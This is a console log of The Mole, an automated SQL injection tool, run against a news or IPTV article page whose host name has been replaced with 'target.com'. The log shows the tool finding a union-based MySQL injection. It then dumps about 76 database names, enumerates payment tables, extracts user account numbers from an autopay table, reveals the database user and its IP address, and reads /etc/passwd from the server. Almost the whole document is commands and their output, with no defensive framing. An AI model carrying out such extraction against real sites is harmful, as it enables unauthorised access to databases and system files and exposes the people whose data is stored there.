C:\Users\Stone\Desktop\themole-0.3>mole.exe

                    _____ _           ___  ___      _

                   |_   _| |          |  \/  |     | |

                     | | | |__   ___  | .  . | ___ | | ___

                     | | | '_ \ / _ \ | |\/| |/ _ \| |/ _ \

                     | | | | | |  __/ | |  | | (_) | |  __/

                     \_/ |_| |_|\___| \_|  |_/\___/|_|\___|


Developed by Nasel(http://www.nasel.com.ar).

Published under GPLv3.

Be efficient and have fun!

#> url http://www.target.com/iptv/article.php?id=174819

#> needle target

#> schemas


[i] Trying injection using 0 parenthesis.

[+] Found separator: "'"

[+] Found DBMS: Mysql

[+] Found comment delimiter: "#"

[+] Query columns count: 13

[+] Injectable fields found: [3, 4, 7]

[+] Found injectable field: 3

[+] Using string union technique.

[+] Rows: 90

+----------------------+

| Databases            |

+----------------------+

| A_Bank               |

| targetERP           |

| DownLoadInfoDB       |

| JIANBAO              |

| OEM                  |

| ReadStat             |

| ads                  |

| adstat               |

| adsystem             |

| ahvnet               |

| api_site_chinagames  |

| api_site_tttz        |

| asus                 |

| bbappnet             |

| billwang             |

| business             |

| client               |

| collector            |

| common               |

| cover                |

| dayoo                |

| dongyou              |

| targetmanager       |

| dudubao              |

| dudubao_bak          |

| dudubao_book         |

| dudubao_gztv         |

| dudubao_hd           |

| eben                 |

| expand               |

| fhxxw                |

| gdvnet               |

| gdvnet2              |

| information_schema   |

| lephone              |

| lib                  |

| mag_pub              |

| magazine_upload      |

| mysql                |

| news                 |

| newspaper            |

| opds_aldiko          |

| paycenter            |

| qinghua              |

| qqcaibei             |

| readstat             |

| sctfds               |

| scvnet               |

| seo                  |

| shop_car             |

| sina_book            |

| sina_mag_cooperation |

| stat_dudubao         |

| stat_gxvnet          |

| stat_jxvnet          |

| stat_paihang         |

| suzhmobile           |

| system_check         |

| test                 |

| tob_client           |

| ty189                |

| ty189_mail           |

| ty189_mail_hd        |

| ty189_mail_new       |

| ty189_mail_test      |

| ucenter              |

| unicom               |

| union                |

| vip_statistics       |

| vnet139              |

| wangyi163            |

| wap                  |

| xjvnet               |

| ynvnet               |

| zazhishe             |

| zhongshan            |

| zhuanti              |

| zjvnet               |

+----------------------+

#> tables qinghua

[+] Rows: 1

+-----------+

| Tables    |

+-----------+

| user_ipad |

+-----------+

#> tables xjvnet

[+] Rows: 5

+-----------------+

| Tables          |

+-----------------+

| stat_free_visit |

| stat_vnet_read  |

| stat_vnet_visit |

| vnet_autopay    |

| vnet_paymonth   |

+-----------------+

#> columns xjvnet vnet_autopay

[+] Rows: 8

+--------------------------------+

| Columns for table vnet_autopay |

+--------------------------------+

| dopay_dtime                    |

| dtime                          |

| id                             |

| nextpay_date                   |

| nextpay_time                   |

| stat                           |

| tranid                         |

| vneruser                       |

+--------------------------------+

#> query xjvnet vnet_autopay vneruser

[+] Rows: 10

+-------------+

| vneruser    |

+-------------+

| 31100762713 |

| 31501090723 |

| 31501090723 |

| 31501090744 |

| 31501090744 |

| 31501090744 |

| 31501090744 |

| 31501090744 |

| 31501090744 |

| 31501323755 |

+-------------+

#> dbinfo

[+] User:       ens@121.9.213.19

[+] Version:    5.0.58-log

[+] Database:   dudubao

#> readfile /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

rpm:x:37:37::/var/lib/rpm:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

pcap:x:77:77::/var/arpwatch:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

apache:x:48:48:Apache:/var/www:/sbin/nologin

avahi:x:70:70:Avahi daemon:/:/sbin/nologin

ais:x:39:39:openais Standards Based Cluster Framework:/:/sbin/nologin

piranha:x:60:60::/etc/sysconfig/ha:/sbin/nologin

nagios:x:500:500::/home/nagios:/bin/bash

ntp:x:38:38::/etc/ntp:/sbin/nologin


#> find_users_table mysql

[+] Table user exists.

[i] Trying table: wp_users

#> find_tables_like information_schema %ABLE%

[+] Rows: 3

+-------------------+

| Tables            |

+-------------------+

| TABLES            |

| TABLE_CONSTRAINTS |

| TABLE_PRIVILEGES  |

+-------------------+


http://themole.sourceforge.net/?q=tutorial